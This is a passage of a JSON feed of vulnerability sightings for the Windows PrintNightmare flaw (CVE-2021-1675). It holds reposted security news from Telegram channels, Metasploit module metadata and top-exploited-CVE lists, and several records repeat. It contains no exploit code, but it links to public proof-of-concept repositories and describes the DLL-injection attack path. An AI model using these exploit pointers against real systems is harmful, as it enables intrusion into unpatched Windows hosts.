repeatedly input their administrator credentials every time an application attempted to print or had a client connect to a print server.\n\n\u201cOther problems included event logs recording error messages and denying users the ability to perform basic prints\u201d he continued. \u201cAs a result, many may have likely skipped the update due to its operational impact, ultimately leaving the risk posed by PrintNightmare in place.\u201d\n\nThis vulnerability was discovered by researchers XueFeng Li and Zhiniang Peng of Sangfor, who were also credited with the discovery of CVE-2021-1675, one of two vulnerabilities known as PrintNightmare.\n\nSatnam Narang, staff research engineer at Tenable noted that \u201cWhile no details have been shared publicly about the flaw, this is definitely one to watch for, as we saw a constant stream of Print Spooler-related vulnerabilities patched over the summer while ransomware groups began incorporating PrintNightmare into their affiliate playbook. We strongly encourage organizations to apply these patches as soon as possible.\u201d\nSee Also: Apple Pay with VISA lets hackers force payments on locked iPhones RCE Affects Microsoft Word, Office, SharePointAnother vulnerability worth noting is CVE-2021-40486, a critical RCE affecting Microsoft Word, Microsoft Office and some versions of SharePoint Server that can be exploited via the Preview Pane.\n\nGina Geisel, Automox product and partner marketing professional, noted that this vulnerability isn\u2019t new to Microsoft, with several other similar CVEs documented this year. In this case, the RCE vulnerability exists in some Microsoft apps when they fail to properly handle objects in memory.\n\nWith a low attack complexity, this vulnerability requires a user opening a specially crafted file either by email or via a website, either hosted by the attacker or through a compromised website that accepts or hosts user-provided content.\n\n\u201cAn attacker who successfully exploits this vulnerability can use this file to perform actions in the context of the current user,\u201d Geisel explained. \u201cFor example, the file could take actions on behalf of the logged-on user with the same permissions as the current user.\u201d Microsoft SharePoint Server RCEImmersive Labs\u2019 Breen told Threatpost that this RCE vulnerability \u2013 tracked as CVE-2021-40487\u00a0rated as 8.1 out of 10 CVSS score and marked as \u201cexploitation more likely\u201d \u2013 will be more difficult for an attacker to exploit, given that it requires an authenticated user on the domain.\n\nBut gaining RCE on a SharePoint server \u201copens up a lot of avenues for further exploitation,\u201d he noted via email.\n\n\u201cInternal SharePoint servers are often used to host company-sensitive documents and provide an intranet for staff to interact with,\u201d Breen explained. \u201cIf an attacker could manipulate the content of these articles or replace valid documents with malicious ones, they could steal credentials or trick targeted users into installing additional malware.\u201d Highest CVSS Award Goes to Microsoft Exchange Server RCECVE-2021-26427, the latest in Exchange Server RCEs, takes the severity cake this month, with a CVSS score of 9.0 out of 10. In spite of this hgh severity rating, Microsoft has marked it as being \u201cexploitation less likely,\u201d perhaps due to the what Breen called the \u201cnetwork adjacent vector.\u201d\n\nIn other [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:54.071677Z"}, {"uuid": "d5949837-3b74-4572-868d-5f2824c9786a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/32354", "content": "Exploit Collector\nPrintNightmare Vulnerability\n\nhttps://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png \nWhitepaper called PrintNightmare Vulnerability. This document illustrates the exploitation of the vulnerability found in the Windows spooler service. Originally thought to be a local privilege escalation vulnerability in the Windows Print Spooler, identified as CVE-2021-1675 and patched during Microsoft's June Patch. Microsoft increased the severity of this issue on June 21 as well as reclassifying it as a 'remote code execution' (RCE) threat. This RCE vulnerability has been assigned a new identifier, CVE-2021-34527.\n\nMD5 | abd7ef242b6bd0fffaf67005b519a4bd\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:01:00.491060Z"}, {"uuid": "dd3ab101-5bbe-4b72-92dd-724f0ef61b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15522", "content": "Black Hat Ethical Hacking\nCISA Offers New Mitigation for PrintNightmare Bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg CISA Offers New Mitigation for PrintNightmare BugPost Views: 324 \nReading Time: 1 Minute\nThe U.S. government has stepped in to offer a mitigation for a critical remote code execution (RCE) vulnerability in the Windows Print Spooler service that may not have been fully patched by Microsoft\u2019s initial effort to fix it.\nTo mitigate the bug, dubbed PrintNightmare, the CERT Coordination Center (CERT/CC) has released a VulNote\u00a0for CVE-2021-1675 urging system administrations to disable the Windows Print Spooler service in Domain Controllers and systems that do not print, the Cybersecurity Infratructure and Security Administration (CISA) said in a release\u00a0Thursday. CERT/CC is part of the Software Engineering Institute, a federally funded research center operated by Carnegie Mellon University.\n\n\u201cWhile Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured,\u201d CERT/CC researchers wrote in the note.\n\nThe mitigation is in response to a scenario that unfolded earlier this week when a proof-of-concept (POC) for PrintNightmare was dropped on GitHub on Tuesday. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform. An attacker can use the POC to exploit the vulnerability to take control of an affected system.\n\nIn the meantime, Microsoft Thursday put out a new advisory of its own on PrintNightmare that assigns a new CVE and seems to suggest a new attack vector while attempting to clarify confusion that has arisen over it.\nSee Also: PoC Exploit Circulating for Critical Windows Print Spooler Bug While the company originally addressed CVE-2021-1675 in June\u2019s Patch Tuesday updates\u00a0as a minor elevation-of-privilege vulnerability, the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that the patch appears to fail against the RCE aspect of the bug\u2014hence CISA\u2019s offer of another mitigation and Microsoft\u2019s update. Assignment of New CVE?Regarding the latter, the company dropped a notice\u00a0Thursday for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appears to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\nThe description of the bug sounds like PrintNightmare; indeed, Microsoft acknowledges that it is \u201can evolving situation.\n\n\u201cA remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to the notice. \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\u201d\n\nIn a \u201cFAQ\u201d section in the security update, Microsoft attempts to explain CVE-2021-34527\u2019s connection to CVE-2021-1675.\nSee Also: Offensive Security Tool: GoSpider\n\u201cIs this the vulnerability that has been referred to publicly as PrintNightmare? Yes, Microsoft has assigned CVE-2021-34527 to this vulnerability,\u201d the company wrote.\n\nHowever, the answer to the question \u201cIs this vulnerability related to CVE-2021-1675?\u201d suggests that CVE-2021-34527 is a different issue.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a di[...]", "creation_timestamp": "2026-09-08T01:00:04.326934Z"}, {"uuid": "d2dacd22-b051-47ca-8c84-f2c37fdd600d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/14933", "content": "Black Hat Ethical Hacking\nPoC Exploit Circulating for Critical Windows Print Spooler Bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg PoC Exploit Circulating for Critical Windows Print Spooler BugPost Views: 49 \nReading Time: 2 Minutes\nA proof-of-concept for a critical Windows security vulnerability that allows remote code execution (RCE) was dropped on GitHub on Tuesday \u2013 and while it was taken back down within a few hours, the code was copied and is still out there circulating on the platform.\nThe \u201cPrintNightmare\u201d bug may not be fully patched, some experts are warning, leaving the door open for widespread remote code-execution attacks.\n\nThe bug (CVE-2021-1675) exists in the Windows Print Spooler and has been dubbed \u201cPrintNightmare\u201d by researchers. It was originally addressed in June\u2019s Patch Tuesday updates\u00a0from Microsoft as a minor elevation-of-privilege vulnerability, but the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\n\u201cThere are 40 entries in Microsoft\u2019s list of affected products, from Windows 7 to Windows 10 and from Server 2008 to Server 2019,\u201d Dirk Schrader, global vice president of security research at New Net Technologies (NNT), now part of Netwrix, told Threatpost. \u201cGiven this broad surface, it is likely that this vulnerability will become an element in the tool chain of current malware families.\u201d\n\nOn Sunday, the QiAnXin security team tweeted a video\u00a0showing successful RCE \u2013 but it held back any technical or PoC details. Two days later, though, a full-blown PoC with a complete technical analysis appeared on GitHub, authored by another security firm, Sangfor.\nSee Also: Data for 700M LinkedIn Users Posted for Sale in Cyber-Underground Claire Tills, senior security engineer with Tenable, which spotted the PoC posting, noted that \u201cthe GitHub repository was publicly available long enough for others to clone it. The PoC is likely still circulating and is likely to resurface publicly, if it hasn\u2019t already done so.\u201d\n\nAnd indeed, according to one security practitioner, the code was successfully forked to another page.\nLooks like the original PoC for PrintNightmare (CVE-2021-1675) got deleted but someone has forked it since https://t.co/8MiP62SlzC\n\n\u2014 Andy Gill (@ZephrFish) June 29, 2021\nSee Also: Offensive Security Tool: Pixload\nOn Wednesday, other researchers tweeted videos\u00a0and more analysis\u00a0that could be used for successful exploitation as word spread of the PoC.\nImpacket implementation of CVE-2021-1675 https://s.w.org/images/core/emoji/13.0.1/72x72/1f525.png https://t.co/UpKOueij4c\n\n\u2014 Cube0x0 (@cube0x0) June 29, 2021 See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker It should be noted that some sources are also saying that the existing Microsoft patch doesn\u2019t remedy the RCE version. Cube0x0\u2019a impacket implementation above for instance works on a fully patched Windows machine, the authors said.\n\n\u201cWe\u2019re still evaluating the efficacy of the patch ourselves, but there are multiple reports indicating the proof-of-concept code works against fully patched systems,\u201d Dustin Childs, of Trend Micro\u2019s Zero Day Initiative, told Threatpost. \u201cThis does indicate the patch released in June does not completely address the root cause of the bug. Either way, enterprises should treat this as an incomplete fix and implement other workarounds, such as disabling the print spooler and blocking TCP ports 135 and 445 at the perimeter.\u201d\n\nHe made note of Microsoft\u2019s CVE nomenclature too: \u201cIt\u2019s curious that the CVE here is -1675 while most of the CVEs Microsoft patched in June are -31000 and higher. This could be an indicato[...]", "creation_timestamp": "2026-09-08T02:00:06.323056Z"}, {"uuid": "b58e9601-e932-45c1-890d-1354e086bcf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb", "content": "{\"aliases\": [\"auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\"], \"arch\": \"x64, x86\", \"author\": [\"Zhiniang Peng\", \"Xuefeng Li\", \"Zhipeng Huo\", \"Piotr Madej\", \"Zhang Yunhai\", \"cube0x0\", \"Spencer McIntyre\", \"Christophe De La Fuente\"], \"autofilter_ports\": [139, 445], \"autofilter_services\": [\"netbios-ssn\", \"microsoft-ds\"], \"check\": true, \"default_credential\": false, \"description\": \"The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted\\n          DCERPC request, resulting in remote code execution as NT AUTHORITY\\\\SYSTEM. This module uses the MS-RPRN\\n          vector which requires the Print Spooler service to be running.\", \"disclosure_date\": \"2021-06-08\", \"fullname\": \"exploit/windows/dcerpc/cve_2021_1675_printnightmare\", \"is_install_path\": true, \"mod_time\": \"2026-03-11 21:31:08 +0000\", \"name\": \"Print Spooler Remote DLL Injection\", \"needs_cleanup\": null, \"notes\": {\"AKA\": [\"PrintNightmare\"], \"Reliability\": [\"unreliable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"windows/dcerpc/cve_2021_1675_printnightmare\", \"references\": [\"CVE-2021-1675\", \"CVE-2021-34527\", \"URL-https://github.com/cube0x0/CVE-2021-1675\", \"URL-https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare\", \"URL-https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1\", \"URL-https://github.com/byt3bl33d3r/ItWasAllADream\", \"ATT&CK-T1021.002\"], \"rport\": 445, \"session_types\": false, \"targets\": [\"Windows\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:51:17.538230Z"}, {"uuid": "7305b549-7ebc-412c-a2e8-129f1f8e6c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15522", "content": "Black Hat Ethical Hacking\nCISA Offers New Mitigation for PrintNightmare Bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg CISA Offers New Mitigation for PrintNightmare BugPost Views: 324 \nReading Time: 1 Minute\nThe U.S. government has stepped in to offer a mitigation for a critical remote code execution (RCE) vulnerability in the Windows Print Spooler service that may not have been fully patched by Microsoft\u2019s initial effort to fix it.\nTo mitigate the bug, dubbed PrintNightmare, the CERT Coordination Center (CERT/CC) has released a VulNote\u00a0for CVE-2021-1675 urging system administrations to disable the Windows Print Spooler service in Domain Controllers and systems that do not print, the Cybersecurity Infratructure and Security Administration (CISA) said in a release\u00a0Thursday. CERT/CC is part of the Software Engineering Institute, a federally funded research center operated by Carnegie Mellon University.\n\n\u201cWhile Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured,\u201d CERT/CC researchers wrote in the note.\n\nThe mitigation is in response to a scenario that unfolded earlier this week when a proof-of-concept (POC) for PrintNightmare was dropped on GitHub on Tuesday. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform. An attacker can use the POC to exploit the vulnerability to take control of an affected system.\n\nIn the meantime, Microsoft Thursday put out a new advisory of its own on PrintNightmare that assigns a new CVE and seems to suggest a new attack vector while attempting to clarify confusion that has arisen over it.\nSee Also: PoC Exploit Circulating for Critical Windows Print Spooler Bug While the company originally addressed CVE-2021-1675 in June\u2019s Patch Tuesday updates\u00a0as a minor elevation-of-privilege vulnerability, the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that the patch appears to fail against the RCE aspect of the bug\u2014hence CISA\u2019s offer of another mitigation and Microsoft\u2019s update. Assignment of New CVE?Regarding the latter, the company dropped a notice\u00a0Thursday for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appears to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\nThe description of the bug sounds like PrintNightmare; indeed, Microsoft acknowledges that it is \u201can evolving situation.\n\n\u201cA remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to the notice. \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\u201d\n\nIn a \u201cFAQ\u201d section in the security update, Microsoft attempts to explain CVE-2021-34527\u2019s connection to CVE-2021-1675.\nSee Also: Offensive Security Tool: GoSpider\n\u201cIs this the vulnerability that has been referred to publicly as PrintNightmare? Yes, Microsoft has assigned CVE-2021-34527 to this vulnerability,\u201d the company wrote.\n\nHowever, the answer to the question \u201cIs this vulnerability related to CVE-2021-1675?\u201d suggests that CVE-2021-34527 is a different issue.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a di[...]", "creation_timestamp": "2026-09-09T00:00:48.048106Z"}, {"uuid": "4e3f0c62-6f87-42f7-a265-ef3f9b8a031d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/14933", "content": "Black Hat Ethical Hacking\nPoC Exploit Circulating for Critical Windows Print Spooler Bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg PoC Exploit Circulating for Critical Windows Print Spooler BugPost Views: 49 \nReading Time: 2 Minutes\nA proof-of-concept for a critical Windows security vulnerability that allows remote code execution (RCE) was dropped on GitHub on Tuesday \u2013 and while it was taken back down within a few hours, the code was copied and is still out there circulating on the platform.\nThe \u201cPrintNightmare\u201d bug may not be fully patched, some experts are warning, leaving the door open for widespread remote code-execution attacks.\n\nThe bug (CVE-2021-1675) exists in the Windows Print Spooler and has been dubbed \u201cPrintNightmare\u201d by researchers. It was originally addressed in June\u2019s Patch Tuesday updates\u00a0from Microsoft as a minor elevation-of-privilege vulnerability, but the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\n\u201cThere are 40 entries in Microsoft\u2019s list of affected products, from Windows 7 to Windows 10 and from Server 2008 to Server 2019,\u201d Dirk Schrader, global vice president of security research at New Net Technologies (NNT), now part of Netwrix, told Threatpost. \u201cGiven this broad surface, it is likely that this vulnerability will become an element in the tool chain of current malware families.\u201d\n\nOn Sunday, the QiAnXin security team tweeted a video\u00a0showing successful RCE \u2013 but it held back any technical or PoC details. Two days later, though, a full-blown PoC with a complete technical analysis appeared on GitHub, authored by another security firm, Sangfor.\nSee Also: Data for 700M LinkedIn Users Posted for Sale in Cyber-Underground Claire Tills, senior security engineer with Tenable, which spotted the PoC posting, noted that \u201cthe GitHub repository was publicly available long enough for others to clone it. The PoC is likely still circulating and is likely to resurface publicly, if it hasn\u2019t already done so.\u201d\n\nAnd indeed, according to one security practitioner, the code was successfully forked to another page.\nLooks like the original PoC for PrintNightmare (CVE-2021-1675) got deleted but someone has forked it since https://t.co/8MiP62SlzC\n\n\u2014 Andy Gill (@ZephrFish) June 29, 2021\nSee Also: Offensive Security Tool: Pixload\nOn Wednesday, other researchers tweeted videos\u00a0and more analysis\u00a0that could be used for successful exploitation as word spread of the PoC.\nImpacket implementation of CVE-2021-1675 https://s.w.org/images/core/emoji/13.0.1/72x72/1f525.png https://t.co/UpKOueij4c\n\n\u2014 Cube0x0 (@cube0x0) June 29, 2021 See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker It should be noted that some sources are also saying that the existing Microsoft patch doesn\u2019t remedy the RCE version. Cube0x0\u2019a impacket implementation above for instance works on a fully patched Windows machine, the authors said.\n\n\u201cWe\u2019re still evaluating the efficacy of the patch ourselves, but there are multiple reports indicating the proof-of-concept code works against fully patched systems,\u201d Dustin Childs, of Trend Micro\u2019s Zero Day Initiative, told Threatpost. \u201cThis does indicate the patch released in June does not completely address the root cause of the bug. Either way, enterprises should treat this as an incomplete fix and implement other workarounds, such as disabling the print spooler and blocking TCP ports 135 and 445 at the perimeter.\u201d\n\nHe made note of Microsoft\u2019s CVE nomenclature too: \u201cIt\u2019s curious that the CVE here is -1675 while most of the CVEs Microsoft patched in June are -31000 and higher. This could be an indicato[...]", "creation_timestamp": "2026-09-09T00:00:47.654604Z"}, {"uuid": "e9deffec-12f4-452e-b76a-67270c666b9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "Telegram/r4oF1dd8S2eZHbzR9DOUSLFo4p2J6Y0ZlXzV9dEOlSgZGtc", "content": "", "creation_timestamp": "2026-09-09T04:00:31.750424Z"}, {"uuid": "f6dd239d-5f0b-4142-90af-b83bb786e46f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/r4oF1dd8S2eZHbzR9DOUSLFo4p2J6Y0ZlXzV9dEOlSgZGtc", "content": "", "creation_timestamp": "2026-09-10T00:00:52.560421Z"}, {"uuid": "c7e3b463-f109-4a74-92e1-0a51b9fe9402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "Telegram/DP4_saqRW7Y5CPsSDH3mPEsBZ3Fmutc3RzGzO69r_PFbXOY", "content": "", "creation_timestamp": "2026-09-10T09:00:06.593309Z"}, {"uuid": "ee785f04-e85c-4814-b80d-0029c2fc21fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/cissp/5363", "content": "Vulnerability Remediation Resources\nThe table below provides links to remediation sources for the top 10 exploited vulnerabilities\n  CVE-2021-44228\n  https://logging.apache.org/log4j/2.x/security.html\n \n CVE-2021-22005\nhttps://www.vmware.com/security/advisories/VMSA-2021-0020.html\n\n  CVE-2021-34527\n  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n \n  CVE-2021-1675\n  https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675\n  \n   CVE-2021-27065\n   https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065\n   \n CVE-2021-36934\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36934\n  \n  CVE-2021-40444\n  https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444\n  \nCVE-2021-26855\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855\n \n  CVE-2021-22205\n   https://gitlab.com/gitlab-org/gitlab/-/issues/327121\n  \n  CVE-2021-21551\n https://www.dell.com/support/kbdoc/en-us/000186019/dsa-2021-088-dell-client-platform-security-up-date-for-dell-driver-insufficient-access-control-vulnerability", "creation_timestamp": "2026-09-10T11:00:03.634351Z"}, {"uuid": "d4790644-a3e9-4dfe-9c7f-b266fb7e909b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/5362", "content": "CVE-2021-44228 (Log4Shell): Apache Log4j2 - Remote Code Execution (RCE)\n\nCVE-2021-22005: VMware vCenter Server - Arbitrary File Upload\n\nCVE-2021-34527 (PrintNightmare): Windows Print Spooler - RCE\n\nCVE-2021-1675 (PrintNightmare): Windows Print Spooler - Elevation of Privilege\n\nCVE-2021-27065 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-36934: Windows - Elevation of Privilege \n\nCVE-2021-40444: Microsoft MSHTML - RCE\n\nCVE-2021-26855 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-22205: GitLab CE/EE - Remote Code Execution\n\nCVE-2021-21551: Dell - Insufficient Access Control", "creation_timestamp": "2026-09-10T12:00:05.241353Z"}, {"uuid": "481b3abd-e491-48b1-9992-1d1aa563aa86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/4242", "content": "exploit\nCVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n]-> https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n]-> RCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084\n\nAnalytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nCVE-2021-31956 - Win NTFS EoP\nCVE-2021-36958 - Print Spooler RCE\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nCVE-2021-20090 - Path traversal in Buffalo routers\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "creation_timestamp": "2026-09-10T21:00:04.908860Z"}, {"uuid": "d86311a8-8b81-4c6a-9e73-4d0ce35b09bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/4242", "content": "exploit\nCVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n]-> https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n]-> RCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084\n\nAnalytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nCVE-2021-31956 - Win NTFS EoP\nCVE-2021-36958 - Print Spooler RCE\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nCVE-2021-20090 - Path traversal in Buffalo routers\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "creation_timestamp": "2026-09-11T00:00:12.235341Z"}, {"uuid": "50901bd0-8b29-45e9-96cd-fd1026b5a742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/5362", "content": "CVE-2021-44228 (Log4Shell): Apache Log4j2 - Remote Code Execution (RCE)\n\nCVE-2021-22005: VMware vCenter Server - Arbitrary File Upload\n\nCVE-2021-34527 (PrintNightmare): Windows Print Spooler - RCE\n\nCVE-2021-1675 (PrintNightmare): Windows Print Spooler - Elevation of Privilege\n\nCVE-2021-27065 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-36934: Windows - Elevation of Privilege \n\nCVE-2021-40444: Microsoft MSHTML - RCE\n\nCVE-2021-26855 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-22205: GitLab CE/EE - Remote Code Execution\n\nCVE-2021-21551: Dell - Insufficient Access Control", "creation_timestamp": "2026-09-11T00:00:40.838420Z"}, {"uuid": "e7f63fd5-3a96-47da-a3e3-45e52dc3fa60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/cissp/5363", "content": "Vulnerability Remediation Resources\nThe table below provides links to remediation sources for the top 10 exploited vulnerabilities\n  CVE-2021-44228\n  https://logging.apache.org/log4j/2.x/security.html\n \n CVE-2021-22005\nhttps://www.vmware.com/security/advisories/VMSA-2021-0020.html\n\n  CVE-2021-34527\n  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n \n  CVE-2021-1675\n  https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675\n  \n   CVE-2021-27065\n   https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065\n   \n CVE-2021-36934\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36934\n  \n  CVE-2021-40444\n  https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444\n  \nCVE-2021-26855\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855\n \n  CVE-2021-22205\n   https://gitlab.com/gitlab-org/gitlab/-/issues/327121\n  \n  CVE-2021-21551\n https://www.dell.com/support/kbdoc/en-us/000186019/dsa-2021-088-dell-client-platform-security-up-date-for-dell-driver-insufficient-access-control-vulnerability", "creation_timestamp": "2026-09-11T00:00:41.650576Z"}, {"uuid": "c9c67de8-a6c0-49cd-90a1-3bc3ecea25a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/DP4_saqRW7Y5CPsSDH3mPEsBZ3Fmutc3RzGzO69r_PFbXOY", "content": "", "creation_timestamp": "2026-09-11T00:00:45.211103Z"}, {"uuid": "5d3c9667-e1e0-4952-9ff7-2a8e8787b73c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/cissp/3702", "content": "#cve #windows #spooler #rce\n\nPrintNightmare (CVE-2021-1675): 